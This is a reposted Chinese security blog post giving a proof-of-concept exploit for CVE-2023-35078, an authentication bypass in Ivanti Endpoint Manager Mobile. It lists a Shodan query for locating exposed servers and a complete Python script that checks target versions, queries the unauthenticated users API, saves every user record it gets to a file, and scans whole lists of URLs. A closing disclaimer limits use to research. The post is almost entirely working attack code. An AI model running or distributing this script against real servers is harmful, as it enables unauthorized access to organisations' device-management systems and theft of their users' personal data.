Ivanti EPMM未授权api访问漏洞POC

admin 2024年10月10日22:10:57评论48 views字数 2256阅读7分31秒阅读模式

漏洞描述:

Ivanti Endpoint Manager Mobile (EPMM)的身份验证绕过漏洞允许未经授权的用户在没有适当身份验证的情况下访问应用程序的受限功能或资源。

影响版本:

影响了支持的版本11.1011.911.8,以及目前已报废(EoL)的版本。

网络资产测绘:

shodan: 

http.favicon.hash:362091310

POC代码:

import requestsimport argparseimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def banner():    print("""     Ivanti Endpoint Manager Mobile远程未经身份验证的api访问漏洞                use: python cve_2023_35078_poc.py -u http:// or python cve_2023_35078_poc.py -f urls.txt                         Author: kento-sec""")def check_ivanti_mobileiron_version(url):    try:        r = requests.get(url, verify=False)        if r.status_code == 200:            version_start = r.text.find("ui.login.css?")            if version_start != -1:                version_end = r.text.find('"', version_start)                version = r.text[version_start + len("ui.login.css?"):version_end]                print(f"[*] 目标版本: {version}")                if version <= "11.4":                    print(f"[+] 目标存在该漏洞! {url}")                    return True                else:                    print(f"[-] 目标没有漏洞! {url}")                    return False            else:                print(f"[-] 目标没有漏洞! {url}")        else:            print(f"[-] 目标没有漏洞! {url}")    except Exception as e:        print(f"[-] 发生错误: {str(e)}")def get_users(url):    vuln_url = url + "/mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1"    print(f"[*] 利用目标... {url}")    try:        r = requests.get(vuln_url, verify=False)        if r.status_code == 200:            print("[+] 提取数据:")            print(f"[*] Dumping all users from {vuln_url}")            # Save JSON response to a file with 'utf-8' encoding            # Create a file name with the target URL            filename = url.split("//")[1].split("/")[0] + ".json"            with open(filename, "w", encoding="utf-8") as f:                f.write(r.text)            print("[+] 数据保存到文件: " + filename)            print("[+] 成功利用漏洞进行攻击!")            print("")        else:            print("[-] 攻击失败. 目标没有漏洞.")    except Exception as e:        print(f"[-] 发生错误: {str(e)}")def main():    parser = argparse.ArgumentParser(        description='Ivanti Endpoint Manager Mobile远程未经身份验证的api访问漏洞 CVE-2023-35078')    parser.add_argument('-u', '--url', help='要利用的URL', required=False)    parser.add_argument('-f', '--file', help='包含URL的文件', required=False)  # To check multiple URLs.    args = parser.parse_args()    banner()    if args.file:        print("[*] 从文件中读取URL...")        with open(args.file, "r") as f:            urls = f.readlines()            for url in urls:                try:                    # ignore empty lines                    if url == "n":                        continue                    url = url.strip()                    print(f"[*] 目标: {url}")                    is_vulnerable = check_ivanti_mobileiron_version(url)                    if is_vulnerable:                        get_users(url)                except Exception as e:                    continue    elif args.url:        print(f"[*] 目标: {args.url}")        is_vulnerable = check_ivanti_mobileiron_version(args.url)        if is_vulnerable:            get_users(args.url)if __name__ == "__main__":    main()

原文始发于微信公众号(赛哈文):Ivanti EPMM未授权api访问漏洞POC

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日22:10:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ivanti EPMM未授权api访问漏洞POChttp://cn-sec.com/archives/1921695.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息